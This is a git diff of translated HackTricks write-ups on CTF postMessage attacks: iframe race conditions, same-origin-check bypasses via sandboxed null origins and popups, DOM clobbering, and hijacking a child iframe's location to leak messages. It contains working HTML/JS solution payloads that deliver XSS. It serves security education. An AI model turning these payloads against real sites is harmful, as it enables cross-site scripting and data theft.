* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Pobeda RC-ova sa Iframe-ovima
|
||||
## Winning RCs with Iframes
|
||||
|
||||
Prema ovom [**Terjanq writeup-u**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob dokumenti kreirani iz null origin-a su izolovani radi bezbednosti, što znači da ako održavate zauzetu glavnu stranicu, iframe stranica će biti izvršena.
|
||||
Prema ovom [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob dokumenti kreirani iz null izvora su izolovani zbog bezbednosnih prednosti, što znači da ako zadržite glavnu stranicu zauzetom, stranica iframe će biti izvršena.
|
||||
|
||||
U suštini, u tom izazovu se izvršava **izolovani iframe** i **odmah nakon** što se **učita**, **roditeljska** stranica će **poslati post** poruku sa **flag-om**.\
|
||||
Međutim, ta komunikacija putem postmessage-a je **ranjiva na XSS** (iframe može izvršiti JS kod).
|
||||
U suštini, u tom izazovu **izolovani iframe se izvršava** i odmah **nakon** što je **učitan**, **roditeljska** stranica će **poslati post** poruku sa **flagom**.\
|
||||
Međutim, ta postmessage komunikacija je **vulnerable to XSS** (**iframe** može izvršiti JS kod).
|
||||
|
||||
Stoga, cilj napadača je da **omogući roditelju da kreira iframe**, ali **pre nego što** roditeljska stranica **pošalje** osetljive podatke (**flag**), **drži je zauzetom** i šalje **payload iframe-u**. Dok je **roditelj zauzet**, **iframe izvršava payload** koji će biti neki JS kod koji će slušati **postmessage poruku roditelja i procuriti flag**.\
|
||||
Na kraju, iframe je izvršio payload i roditeljska stranica prestaje biti zauzeta, pa šalje flag i payload ga otkriva.
|
||||
Stoga, cilj napadača je da **omogući roditelju da kreira iframe**, ali **pre nego što** roditeljska stranica **pošalje** osetljive podatke (**flag**) **drži je zauzetom** i pošalje **payload u iframe**. Dok je **roditelj zauzet**, **iframe izvršava payload** koji će biti neki JS koji će slušati za **roditelj postmessage poruku i leakovati flag**.\
|
||||
Na kraju, iframe je izvršio payload i roditeljska stranica prestaje da bude zauzeta, tako da šalje flag i payload ga leakuje.
|
||||
|
||||
Ali kako možete učiniti da roditelj bude **zauzet odmah nakon što generiše iframe i samo dok čeka da iframe bude spreman da pošalje osetljive podatke?** U suštini, trebate pronaći **asinhronu akciju** koju možete da izvršite na roditelju. Na primer, u tom izazovu roditelj je **slušao** post poruke na sledeći način:
|
||||
Ali kako biste mogli da učinite da roditelj bude **zauzet odmah nakon što je generisao iframe i samo dok čeka da iframe bude spreman da pošalje osetljive podatke?** U suštini, treba da pronađete **async** **akciju** koju možete naterati roditelja da **izvrši**. Na primer, u tom izazovu roditelj je **slušao** **postmessages** ovako:
|
||||
```javascript
|
||||
window.addEventListener('message', (e) => {
|
||||
if (e.data == 'blob loaded') {
|
||||
|
@ -30,21 +33,24 @@ $("#previewModal").modal();
|
|||
}
|
||||
});
|
||||
```
|
||||
tako je bilo moguće poslati **veliki celi broj u postmessage** koji će biti **pretvoren u string** u toj poređenju, što će oduzeti neko vreme:
|
||||
tako da je bilo moguće poslati **veliki ceo broj u postmessage** koji će biti **pretvoren u string** u toj uporedbi, što će potrajati neko vreme:
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
I kako biste bili precizni i **poslali** taj **postmessage** odmah **nakon** što je **iframe** kreiran, ali **pre** nego što je spreman da primi podatke od roditelja, moraćete da **manipulišete milisekundama `setTimeout`**.
|
||||
I da biste bili precizni i **poslali** tu **postmessage** odmah **nakon** što je **iframe** kreiran, ali **pre** nego što bude **spreman** da primi podatke od roditelja, moraćete da **igrate sa milisekundama `setTimeout`**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# Bypassovanje SOP-a pomoću Iframeova - 1
|
||||
# Bypassing SOP with Iframes - 1
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iframeovi u SOP-1
|
||||
## Iframes in SOP-1
|
||||
|
||||
U ovom [**izazovu**](https://github.com/terjanq/same-origin-xss) kreiranom od strane [**NDevTK**](https://github.com/NDevTK) i [**Terjanq**](https://github.com/terjanq) trebate iskoristiti XSS u kodiranom
|
||||
U ovom [**izazovu**](https://github.com/terjanq/same-origin-xss) koji su kreirali [**NDevTK**](https://github.com/NDevTK) i [**Terjanq**](https://github.com/terjanq) potrebno je da iskoristite XSS u kodiranom
|
||||
```javascript
|
||||
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
||||
onmessage = e => {
|
||||
|
@ -25,26 +28,26 @@ renderContainer.innerHTML = data.body;
|
|||
}
|
||||
}
|
||||
```
|
||||
Glavni problem je što [**glavna stranica**](https://so-xss.terjanq.me) koristi DomPurify za slanje `data.body`, pa da biste poslali svoje HTML podatke tom kodu, morate **zaobići** `e.origin !== window.origin`.
|
||||
Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje vlastite html podatke toj funkciji, morate **bypass** `e.origin !== window.origin`.
|
||||
|
||||
Pogledajmo rešenje koje predlažu.
|
||||
Hajde da vidimo rešenje koje predlažu.
|
||||
|
||||
### Zaobilaženje SOP-a 1 (e.origin === null)
|
||||
### SOP bypass 1 (e.origin === null)
|
||||
|
||||
Kada je `//example.org` ugrađen u **sandbox iframe**, tada će **poreklo** stranice biti **`null`**, tj. **`window.origin === null`**. Dakle, samo ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **nametnuti `null` poreklo**.
|
||||
Kada je `//example.org` ugrađen u **sandboxed iframe**, tada će **origin** stranice biti **`null`**, tj. **`window.origin === null`**. Tako da samo ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **prisiliti `null` origin**.
|
||||
|
||||
Ako je stranica **ugrađiva**, mogli biste zaobići tu zaštitu na taj način (kolačići takođe mogu zahtevati postavljanje na `SameSite=None`).
|
||||
Ako je stranica bila **embeddable**, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na `SameSite=None`).
|
||||
|
||||
### Zaobilaženje SOP-a 2 (window.origin === null)
|
||||
### SOP bypass 2 (window.origin === null)
|
||||
|
||||
Manje poznata činjenica je da kada je postavljena vrednost **sandbox atributa `allow-popups`**, tada će **otvoreni popup** naslediti sve **sandbox atribute** osim ako nije postavljeno `allow-popups-to-escape-sandbox`.\
|
||||
Dakle, otvaranje **popupa** iz **nultog porekla** će učiniti da je **`window.origin`** unutar popupa takođe **`null`**.
|
||||
Manje poznata činjenica je da kada je **sandbox vrednost `allow-popups` postavljena**, tada će **otvoreni popup** **naslediti** sve **sandboxed atribute** osim ako `allow-popups-to-escape-sandbox` nije postavljen.\
|
||||
Dakle, otvaranje **popupa** iz **null origin** će učiniti da **`window.origin`** unutar popupa takođe bude **`null`**.
|
||||
|
||||
### Rešenje izazova
|
||||
|
||||
Stoga, za ovaj izazov, mogli biste **kreirati** iframe, **otvoriti popup** na stranici sa ranjivim XSS kodom (`/iframe.php`), jer je `window.origin === e.origin` jer su oba `null`, moguće je **poslati payload koji će iskoristiti XSS**.
|
||||
Stoga, za ovaj izazov, može se **napraviti** **iframe**, **otvoriti popup** na stranicu sa ranjivim XSS kodom (`/iframe.php`), pošto je `window.origin === e.origin` jer su oba `null`, moguće je **poslati payload koji će iskoristiti XSS**.
|
||||
|
||||
Taj **payload** će dobiti **identifikator** i poslati **XSS** natrag na vrh stranice (stranica koja otvara popup), **koja će promeniti lokaciju** na ranjivu `/iframe.php`. Zato što je identifikator poznat, nije važno da uslov `window.origin === e.origin` nije ispunjen (zapamtite, poreklo je **popup** iz iframe-a koji ima **poreklo** **`null`**) jer je `data.identifier === identifier`. Zatim će se **XSS ponovo pokrenuti**, ovaj put na pravom poreklu.
|
||||
Taj **payload** će dobiti **identifikator** i poslati **XSS** **nazad na glavnu stranicu** (stranicu koja je otvorila popup), **koja** će **promeniti lokaciju** na **ranjivi** `/iframe.php`. Pošto je identifikator poznat, nije važno što uslov `window.origin === e.origin` nije ispunjen (zapamtite, origin je **popup** iz iframe-a koji ima **origin** **`null`**) jer `data.identifier === identifier`. Tada će se **XSS ponovo aktivirati**, ovaj put u ispravnom originu.
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
@ -79,14 +82,17 @@ document.body.appendChild(f);
|
|||
</script>
|
||||
</body>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# Zaobilaženje SOP-a pomoću Iframe-ova - 2
|
||||
# Bypassing SOP with Iframes - 2
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iframe-ovi u SOP-2
|
||||
## Iframes in SOP-2
|
||||
|
||||
U [**rešenju**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) za ovaj [**izazov**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) predlaže sličnu metodu kao u prethodnom odeljku. Hajde da proverimo.
|
||||
|
||||
U ovom izazovu napadaču je potrebno **zaobići** ovo:
|
||||
U ovom izazovu napadač treba da **bypasses** ovo:
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
Ako to uradi, može poslati **postmessage** sa HTML sadržajem koji će biti upisan na stranici sa **`innerHTML`** bez sanitizacije (**XSS**).
|
||||
Ako to učini, može poslati **postmessage** sa HTML sadržajem koji će biti napisan na stranici sa **`innerHTML`** bez sanitizacije (**XSS**).
|
||||
|
||||
Način za zaobilaženje **prve provere** je da se **`window.calc.contentWindow`** postavi na **`undefined`** i **`e.source`** na **`null`**:
|
||||
Način da se zaobiđe **prva provera** je da se **`window.calc.contentWindow`** postavi na **`undefined`** i **`e.source`** na **`null`**:
|
||||
|
||||
* **`window.calc.contentWindow`** zapravo predstavlja **`document.getElementById("calc")`**. Možete zameniti **`document.getElementById`** sa **`<img name=getElementById />`** (napomena: Sanitizer API -[ovde](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nije konfigurisan da zaštiti od napada na DOM zamenu u svom podrazumevanom stanju).
|
||||
* Zato možete zameniti **`document.getElementById("calc")`** sa **`<img name=getElementById /><div id=calc></div>`**. Tada će **`window.calc`** biti **`undefined`**.
|
||||
* Sada nam je potrebno da **`e.source`** bude **`undefined`** ili **`null`** (jer se koristi `==` umesto `===`, **`null == undefined`** je **`True`**). Ovo je "jednostavno" postići. Ako kreirate **iframe** i **pošaljete** **postMessage** iz njega i odmah ga **uklonite**, **`e.origin`** će biti **`null`**. Pogledajte sledeći kod.
|
||||
* **`window.calc.contentWindow`** je zapravo **`document.getElementById("calc")`**. Možete prebrisati **`document.getElementById`** sa **`<img name=getElementById />`** (napomena da Sanitizer API -[ovde](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nije konfiguran da štiti od DOM clobbering napada u svom podrazumevanom stanju).
|
||||
* Stoga, možete prebrisati **`document.getElementById("calc")`** sa **`<img name=getElementById /><div id=calc></div>`**. Tada će **`window.calc`** biti **`undefined`**.
|
||||
* Sada, potrebno je da **`e.source`** bude **`undefined`** ili **`null`** (jer se koristi `==` umesto `===`, **`null == undefined`** je **`True`**). Dobijanje ovoga je "lako". Ako kreirate **iframe** i **pošaljete** **postMessage** iz njega i odmah **uklonite** iframe, **`e.origin`** će biti **`null`**. Proverite sledeći kod
|
||||
```javascript
|
||||
let iframe = document.createElement('iframe');
|
||||
document.body.appendChild(iframe);
|
||||
|
@ -35,12 +38,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
|||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||||
document.body.removeChild(iframe); //e.origin === null
|
||||
```
|
||||
Da biste zaobišli **drugu provjeru** u vezi tokena, pošaljite **`token`** sa vrijednošću `null` i postavite vrijednost **`window.token`** na **`undefined`**:
|
||||
Da bi se zaobišao **drugi proveren** o tokenu, potrebno je poslati **`token`** sa vrednošću `null` i postaviti vrednost **`window.token`** na **`undefined`**:
|
||||
|
||||
* Slanje `tokena` u postMessage sa vrijednošću `null` je jednostavno.
|
||||
* **`window.token`** se poziva u funkciji **`getCookie`** koja koristi **`document.cookie`**. Napomena da svaki pristup **`document.cookie`** na stranicama sa **`null`** porijeklom izaziva **grešku**. To će rezultirati da **`window.token`** ima vrijednost **`undefined`**.
|
||||
* Slanje `token` u postMessage sa vrednošću `null` je trivijalno.
|
||||
* **`window.token`** se koristi u pozivu funkcije **`getCookie`** koja koristi **`document.cookie`**. Imajte na umu da svaki pristup **`document.cookie`** na stranicama sa **`null`** poreklom izaziva **grešku**. Ovo će učiniti da **`window.token`** ima vrednost **`undefined`**.
|
||||
|
||||
Konačno rješenje od [**@terjanq**](https://twitter.com/terjanq) je [**sljedeće**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
Konačno rešenje od [**@terjanq**](https://twitter.com/terjanq) je [**sledeće**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -76,14 +79,17 @@ setTimeout(start, 1000);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# Ukradi postmessage modifikovanjem lokacije iframe-a
|
||||
# Steal postmessage modifying iframe location
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Menjanje lokacija dečijih iframe-ova
|
||||
## Promena lokacija child iframes
|
||||
|
||||
Prema [**ovom objašnjenju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako možete da iframe-ujete veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe, možete **promeniti lokaciju tog dečijeg iframe-a**.
|
||||
Prema [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako možete da iframe-ujete veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**.
|
||||
|
||||
Na primer, ako abc.com ima efg.com kao iframe i abc.com nema X-Frame header, mogu promeniti efg.com u evil.com preko, **`frames.location`**.
|
||||
Na primer, ako abc.com ima efg.com kao iframe i abc.com nema X-Frame header, mogao bih da promenim efg.com u evil.com cross origin koristeći **`frames.location`**.
|
||||
|
||||
Ovo je posebno korisno kod **postMessages** jer ako stranica šalje osetljive podatke koristeći **wildcard** kao što je `windowRef.postmessage("","*")`, moguće je **promeniti lokaciju povezanog iframe-a (dečijeg ili roditeljskog) na lokaciju koju kontroliše napadač** i ukrasti te podatke.
|
||||
